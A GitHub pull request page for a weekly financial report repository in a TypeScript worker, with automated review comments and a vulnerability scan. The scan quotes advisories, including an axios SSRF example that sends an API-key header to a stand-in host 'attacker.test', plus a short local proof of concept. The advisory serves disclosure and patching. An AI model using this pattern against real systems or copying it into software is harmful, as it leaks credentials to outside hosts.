Skip to content

Add Weekly Financial Report functionality with repository and tests - #65

Merged
anatolyshipitz merged 7 commits into
mainfrom
feature/add-WeeklyFinancialReportRepository
Jul 1, 2025
Merged

Add Weekly Financial Report functionality with repository and tests#65
anatolyshipitz merged 7 commits into
mainfrom
feature/add-WeeklyFinancialReportRepository

Conversation

@anatolyshipitz

Copy link
Copy Markdown
Collaborator
  • Introduced WeeklyFinancialReportRepository class implementing IWeeklyFinancialReportRepository for generating weekly financial reports based on target units, employees, and projects.
  • Added IWeeklyFinancialReportRepository interface and GenerateReportInput type for structured input handling.
  • Created unit tests for the repository to validate report generation, ensuring correct summary and details output for various input scenarios, including handling of empty input arrays.

These changes enhance the financial reporting capabilities of the application, providing structured and detailed insights into weekly performance.

- Introduced `formatCurrency` function to format numbers as USD currency, ensuring proper localization and rounding.
- Added `getRateByDate` function to retrieve rates from a historical dataset based on a specified date, with handling for undefined inputs and edge cases.
- Created unit tests for both functions to validate their functionality and accuracy, covering various scenarios for currency formatting and rate retrieval.

These additions enhance the utility functions for financial calculations and improve test coverage for the application.
- Updated the `getRateByDate` function to sort the rate history dates chronologically using a custom sorting function. This ensures that the dates are processed in the correct order, improving the accuracy of rate retrieval based on date.

These changes enhance the functionality of the rate retrieval process, ensuring more reliable data handling.
- Introduced `WeeklyFinancialReportRepository` class implementing `IWeeklyFinancialReportRepository` for generating weekly financial reports based on target units, employees, and projects.
- Added `IWeeklyFinancialReportRepository` interface and `GenerateReportInput` type for structured input handling.
- Created unit tests for the repository to validate report generation, ensuring correct summary and details output for various input scenarios, including handling of empty input arrays.

These changes enhance the financial reporting capabilities of the application, providing structured and detailed insights into weekly performance.
@anatolyshipitz anatolyshipitz self-assigned this Jun 11, 2025
@anatolyshipitz
anatolyshipitz requested a review from killev as a code owner June 11, 2025 17:46
@coderabbitai

coderabbitai Bot commented Jun 11, 2025

Copy link
Copy Markdown
📝 Walkthrough

"""

Walkthrough

This change introduces a weekly financial report generation feature. It adds an interface for the report repository, an implementation that aggregates and summarizes financial data by group, and comprehensive unit tests. Supporting utility classes for aggregation, marginality calculation, and formatting are included. The module is exported via an index file, enabling use of the report generation functionality elsewhere in the codebase.

Changes

File(s) Change Summary
workers/main/src/services/WeeklyFinancialReport/IWeeklyFinancialReportRepository.ts Added interfaces defining input parameters and contract for the weekly financial report repository.
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts Added implementation of report repository with logic to generate weekly financial reports.
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.test.ts Added unit tests for the report generation logic, covering normal and empty input scenarios.
workers/main/src/services/WeeklyFinancialReport/index.ts Added export statement to re-export the repository implementation from the index.
workers/main/src/configs/weeklyFinancialReport.ts Added constants for marginality thresholds used in report classification.
workers/main/src/services/WeeklyFinancialReport/GroupAggregator.ts Added class to aggregate target units by group and compute total hours.
workers/main/src/services/WeeklyFinancialReport/MarginalityCalculator.ts Added class and enum to calculate and classify financial marginality levels with indicators.
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportFormatter.ts Added class to format report details, summaries, and footers with markdown and emoji indicators.

Sequence Diagram(s)

sequenceDiagram
    participant Caller
    participant WeeklyFinancialReportRepository
    participant GroupAggregator
    participant MarginalityCalculator
    participant WeeklyFinancialReportFormatter

    Caller->>WeeklyFinancialReportRepository: generateReport({targetUnits, employees, projects})
    WeeklyFinancialReportRepository->>GroupAggregator: aggregateGroup(targetUnits, groupId)
    WeeklyFinancialReportRepository->>MarginalityCalculator: calculate(revenue, cogs)
    WeeklyFinancialReportRepository->>WeeklyFinancialReportFormatter: formatDetail(...)
    WeeklyFinancialReportRepository->>WeeklyFinancialReportFormatter: formatSummary(...)
    WeeklyFinancialReportRepository->>WeeklyFinancialReportFormatter: formatFooter(totalHours)
    WeeklyFinancialReportRepository->>Caller: Return { summary, details }
Loading

Possibly related PRs

  • Implement TargetUnit repository #42: Defines and implements the TargetUnit repository and related data structures which this PR depends on for weekly financial report generation.

Suggested reviewers

  • killev
    """

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 64f4977 and 4b2d282.

📒 Files selected for processing (1)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.test.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.test.ts
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
  • GitHub Check: Analyze (actions)
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions

github-actions Bot commented Jun 11, 2025

Copy link
Copy Markdown

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:0b3972d8faafb0c10b944a8c40ae50c05e2c45b95aebaf2d42202ad91c48edba
vulnerabilitiescritical: 2 high: 7 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 1
critical: 1 high: 1 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/stdlib@1.24.0

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.023%
EPSS Percentile5th percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

high : CVE--2025--22874

Affected range>=1.24.0-0
<1.24.4
Fixed version1.24.4
EPSS Score0.022%
EPSS Percentile4th percentile
Description

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/samlify@2.9.0

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.025%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/axios@1.7.4

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/pdfjs-dist@2.16.105

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score32.983%
EPSS Percentile97th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/multer@1.4.5-lts.2

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.054%
EPSS Percentile17th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/tar-fs@2.1.2

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.123%
EPSS Percentile32nd percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/cross-spawn@7.0.3

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.170%
EPSS Percentile39th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/semver@5.3.0

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Base automatically changed from feature/add-format-utils to main June 12, 2025 09:31

@killev killev left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the generate function looks too complicated, it requires it enable ESLint rules that tracks complexity as separate PR.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (3)
workers/main/src/services/WeeklyFinancialReport/index.ts (1)

1-1: Re-export the interface for downstream consumers

Only the repository class is re-exported. Call-sites that depend on the GenerateReportInput type or the IWeeklyFinancialReportRepository interface will still have to reach into the sub-path, defeating the purpose of an index barrel.

 export * from './WeeklyFinancialReportRepository';
+export * from './IWeeklyFinancialReportRepository';
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.test.ts (1)

50-63: Broaden test assertions to validate numeric accuracy

The test only checks that strings are non-empty and contain certain keywords. A regression could silently alter the underlying maths (e.g., margin calculation) yet still pass. Consider asserting at least one concrete figure (e.g., expected total revenue for Group A).

workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

108-108: Legend string has unbalanced spacing

Minor formatting nit: double spaces after the yellow-circle entry look like a typo.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between cda19db and 2a3d6b5.

📒 Files selected for processing (4)
  • workers/main/src/services/WeeklyFinancialReport/IWeeklyFinancialReportRepository.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.test.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/index.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/services/WeeklyFinancialReport/IWeeklyFinancialReportRepository.ts (2)
workers/main/src/common/types.ts (1)
  • TargetUnit (3-14)
workers/main/src/services/FinApp/types.ts (2)
  • Employee (5-12)
  • Project (14-25)
⏰ Context from checks skipped due to timeout of 90000ms (4)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
🔇 Additional comments (2)
workers/main/src/services/WeeklyFinancialReport/IWeeklyFinancialReportRepository.ts (1)

1-2: Verify import path correctness

Employee and Project are imported from ../FinApp. In the current tree the concrete types appear to live in FinApp/types.ts; unless ../FinApp/index.ts re-exports them, this will be a path error at build time.

Would you double-check the FinApp barrel exports or adjust the import to ../FinApp/types if necessary?

workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

80-91: Negative or NaN marginality edge-case

groupMarginalityPercent is derived from revenue; if revenue is 0 but COGS is non-zero the percent is forced to 0, categorising it as low marginality. Consider flagging explicitly impossible/invalid data instead of silently labelling.

- Added `HIGH_MARGINALITY_THRESHOLD` and `MEDIUM_MARGINALITY_THRESHOLD` constants to define marginality levels.
- Introduced `GroupAggregator` class for aggregating target units by group and calculating total hours.
- Implemented `MarginalityCalculator` class to calculate marginality metrics based on revenue and COGS.
- Created `WeeklyFinancialReportFormatter` class for formatting report details and summaries.
- Updated `WeeklyFinancialReportRepository` to utilize new classes for processing target units and generating reports.

These changes improve the financial reporting capabilities by providing structured aggregation and calculation of marginality, enhancing the overall reporting process.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

♻️ Duplicate comments (2)
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (2)

33-44: Inject currentDate for deterministic tests

Prior review feedback highlighted that grabbing new Date() internally hinders reproducible tests. Accept it as an optional parameter with a default to keep runtime ergonomics unchanged.

-  async generateReport({
-    targetUnits,
-    employees,
-    projects,
-  }: GenerateReportInput) {
-    const currentDate = new Date();
+  async generateReport(
+    { targetUnits, employees, projects }: GenerateReportInput,
+    currentDate: Date = new Date(),
+  ) {

48-62: Quadratic complexity caused by repeated filtering

Inside the loop we call GroupAggregator.aggregateGroup, which performs Array.filter over all targetUnits for every distinct group. With g groups and n units this degrades to O(n × g) (worst-case O(n²)).

Pre-group once with a Map:

-    for (const targetUnit of targetUnits) {
-      this.processTargetUnit({ … });
-    }
+    const grouped = new Map<number, TargetUnit[]>();
+    for (const unit of targetUnits) {
+      (grouped.get(unit.group_id) ?? grouped.set(unit.group_id, []).get(unit.group_id)!).push(unit);
+    }
+
+    for (const [_, groupUnits] of grouped) {
+      this.processTargetUnit({
+        targetUnit: groupUnits[0], // representative for meta‐data
+        targetUnits: groupUnits,
+        … // rest unchanged, drop processedGroupIds
+      });
+    }

You’ll also be able to delete the processedGroupIds set entirely.

🧹 Nitpick comments (6)
workers/main/src/services/WeeklyFinancialReport/GroupAggregator.ts (1)

3-15: Prefer a plain function over a static-only class

The class hosts only one static method and no state. Keeping it as a class introduces needless ceremony and violates the no-static-only-class rule flagged by Biome. A small utility function exported from the module would be simpler to tree-shake and test.

-export class GroupAggregator {
-  static aggregateGroup(targetUnits: TargetUnit[], targetUnitId: number) {
-
-    return { groupUnits, groupTotalHours };
-  }
-}
+export function aggregateGroup(
+  targetUnits: TargetUnit[],
+  targetUnitId: number,
+) {
+
+  return { groupUnits, groupTotalHours };
+}

Update the import sites accordingly.

workers/main/src/services/WeeklyFinancialReport/MarginalityCalculator.ts (2)

19-47: Static-only class & this usage can be flattened

Same as above, the calculator is purely functional. You can export three top-level functions (calculate, classify, getIndicator) and the enum. This removes the surprising this.classify/this.getIndicator calls that Biome warns about and avoids potential confusion when the class name is minified.


36-45: Redundant case MarginalityLevel.Low

Because the default branch already returns the same value, the explicit Low case is superfluous.

-      case MarginalityLevel.Low:
-        return ':arrowdown:';
-      default:
-        return ':arrowdown:';
+      default:
+        return ':arrowdown:';
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportFormatter.ts (2)

7-12: Interface name violates PascalCase convention

formatSummaryInput is the only interface in the codebase that starts with a lowercase letter; this stands out and breaks TS/ESLint naming rules.

-export interface formatSummaryInput {
+export interface FormatSummaryInput {

Remember to update the type at the call-site in formatSummary.


25-41: Static field with arrow function is unnecessary

Declaring static formatDetail = (...) => creates a class field and incurs an extra property lookup compared with a regular static method. Change to a standard static method unless you intentionally need lexical this.

-  static formatDetail = ({
+  static formatDetail({
     …
   }: FormatDetailInput) {
     return (
       …
     );
-  =>
+  }
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

153-170: Date arithmetic is hard to reason about

The opaque magic numbers - ((getDay() + 6) % 7) - 7 make maintenance tricky. Consider extracting this into a small helper getPreviousWeekRange(date) that clearly communicates intent and can be unit-tested.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 2a3d6b5 and 1d46c23.

📒 Files selected for processing (6)
  • workers/main/src/configs/weeklyFinancialReport.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/GroupAggregator.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/IWeeklyFinancialReportRepository.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/MarginalityCalculator.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportFormatter.ts (1 hunks)
  • workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1 hunks)
✅ Files skipped from review due to trivial changes (1)
  • workers/main/src/configs/weeklyFinancialReport.ts
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/services/WeeklyFinancialReport/IWeeklyFinancialReportRepository.ts
🧰 Additional context used
🧬 Code Graph Analysis (3)
workers/main/src/services/WeeklyFinancialReport/GroupAggregator.ts (1)
workers/main/src/common/types.ts (1)
  • TargetUnit (3-14)
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportFormatter.ts (2)
workers/main/src/common/formatUtils.ts (1)
  • formatCurrency (1-3)
workers/main/src/configs/weeklyFinancialReport.ts (2)
  • HIGH_MARGINALITY_THRESHOLD (6-6)
  • MEDIUM_MARGINALITY_THRESHOLD (7-7)
workers/main/src/services/WeeklyFinancialReport/MarginalityCalculator.ts (1)
workers/main/src/configs/weeklyFinancialReport.ts (2)
  • HIGH_MARGINALITY_THRESHOLD (6-6)
  • MEDIUM_MARGINALITY_THRESHOLD (7-7)
🪛 Biome (1.9.4)
workers/main/src/services/WeeklyFinancialReport/GroupAggregator.ts

[error] 3-15: Avoid classes that contain only static members.

Prefer using simple functions instead of classes with only static members.

(lint/complexity/noStaticOnlyClass)

workers/main/src/services/WeeklyFinancialReport/MarginalityCalculator.ts

[error] 19-47: Avoid classes that contain only static members.

Prefer using simple functions instead of classes with only static members.

(lint/complexity/noStaticOnlyClass)


[error] 23-23: Using this in a static context can be confusing.

this refers to the class.
Unsafe fix: Use the class name instead.

(lint/complexity/noThisInStatic)


[error] 24-24: Using this in a static context can be confusing.

this refers to the class.
Unsafe fix: Use the class name instead.

(lint/complexity/noThisInStatic)


[error] 42-42: Useless case clause.

because the default clause is present:

Unsafe fix: Remove the useless case.

(lint/complexity/noUselessSwitchCase)

⏰ Context from checks skipped due to timeout of 90000ms (5)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (1)
workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (1)

96-100: Group aggregation re-scans the entire array

Even if the outer loop is kept, consider modifying GroupAggregator.aggregateGroup to accept the pre-partitioned array for that group to avoid yet another full scan.

coderabbitai[bot]
coderabbitai Bot previously approved these changes Jun 17, 2025
@anatolyshipitz
anatolyshipitz enabled auto-merge (squash) June 17, 2025 16:17
@anatolyshipitz
anatolyshipitz requested a review from killev June 17, 2025 16:17
- Added a spacer constant to enhance the readability of the formatted report details.
- Updated the formatting of the report summary to include the spacer for better alignment of marginality groups.
- Ensured consistent indentation across all report sections, improving overall presentation.

These changes enhance the clarity and visual structure of the weekly financial report output.
coderabbitai[bot]
coderabbitai Bot previously approved these changes Jun 24, 2025
- Added test data for two new groups (Group C and Group D) in the WeeklyFinancialReportRepository tests.
- Updated assertions to verify that the report summary and details include the new groups, ensuring comprehensive coverage of the report generation functionality.

These changes enhance the test suite by validating the inclusion of all relevant groups in the weekly financial report output.
@sonarqubecloud

Copy link
Copy Markdown

@killev killev left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@anatolyshipitz
anatolyshipitz merged commit 283c216 into main Jul 1, 2025
11 checks passed
@anatolyshipitz
anatolyshipitz deleted the feature/add-WeeklyFinancialReportRepository branch July 1, 2025 10:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants